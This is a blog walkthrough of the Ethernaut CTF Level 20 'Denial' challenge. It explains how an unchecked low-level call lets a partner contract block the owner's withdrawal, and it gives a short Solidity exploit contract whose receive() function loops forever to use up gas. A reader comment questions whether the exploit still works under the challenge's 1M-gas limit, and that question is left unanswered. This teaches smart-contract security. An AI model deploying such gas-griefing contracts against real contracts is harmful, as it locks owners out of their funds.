Skip to main content

Command Palette

Search for a command to run...

Ethernaut Level 20 - Denial

Analysis and solution for Ethernaut's Level 20 - Denial, with Solidity and Foundry

Published
3 min read
Ethernaut Level 20 - Denial

Objectives

This is a rather simple one and the objective is to prevent the owner from withdrawing the funds when they call the withdraw() function. Let's dive in.


Analysis

Let's take a look at the vulnerable code:

function setWithdrawPartner(address _partner) public {
    partner = _partner;
}

function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
  • The setWithdrawPartner() function is public and allows us to call it with our address so we can become a partner.

  • The withdraw() function is calculating the amount to send inside amountToSend and makes two external calls. One of the calls is made to the partner address which is controlled by us and the other one is made to the owner's address. These calls are transferring 1% Ether each to the owner and the partner. So the question is how can we prevent the owner from withdrawing?

An interesting fact about the call() function is that it forwards all the gas along with the call unless a gas value is specified in the call. The transfer() and send() only forwards 2300 gas.

The call() returns two values, a bool success showing if the call succeeded and a bytes memory data which contains the return value. It should be noted that the return values of the external calls are not checked anywhere.

To exploit the contract and prevent the owner.transfer(amountToSend) from being called, we need to create a contract with a fallback or receive function that drains all the gas and prevents further execution of the withdraw() function.


The Exploit

Here's how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel20.sol";

contract DenialHack {
    Denial level20 = Denial(0x1bd442053Af3e571eBbe11809F3cd207A0466A45);

    constructor() public {
        level20.setWithdrawPartner(address(this));
    }

    receive() external payable {
        while (true) {}
    }
}

In the code shown above, we have created a constructor which is calling the setWithdrawPartner() to make the address of our deployed contract the partner.

A receive() function is also defined which has an infinite loop. This will help us in draining all the gas.

We will deploy the contract using:

forge create DenialHack --private-key $PKEY --rpc-url $RPC_URL

image.png

The instance can now be submitted to finish the level. The owner will try to call the withdraw() function but the execution will go to our receive() function and will drain all the gas leading to a failed transaction.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut


Takeaways

Always check the return value of low-level calls, especially in cases where the called address is controlled by a third party.

S

The first solution I came up with is exactly as yours, but I tested the edge case of sending a 1million gas from the attacker function into the withdraw() of the Denial contract, and this solution seems not to fit for this case, my guess is because the while(){} consumes all the gas of the second call() execution, (the one from the Denial service into the Attacker contract), but when the execution comes back to the denial contract, it still has a tons of gas, and the call to transfer funds to the owner still works....

I was just curious to test if the solution worked for the 1m gas because the challenge description states: "If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less)"

Any thoughts about this?

A

Interesting. Can you share your PoC?

Ethernaut CTF

Part 8 of 28

Solutions and Walkthrough for Ethernaut CTF written in Solidity with the help of Foundry Framework

Up next

Ethernaut Level 19 - Alien Codex

Analysis and solution for Ethernaut's Level 19 - Alien Codex, with Solidity and Foundry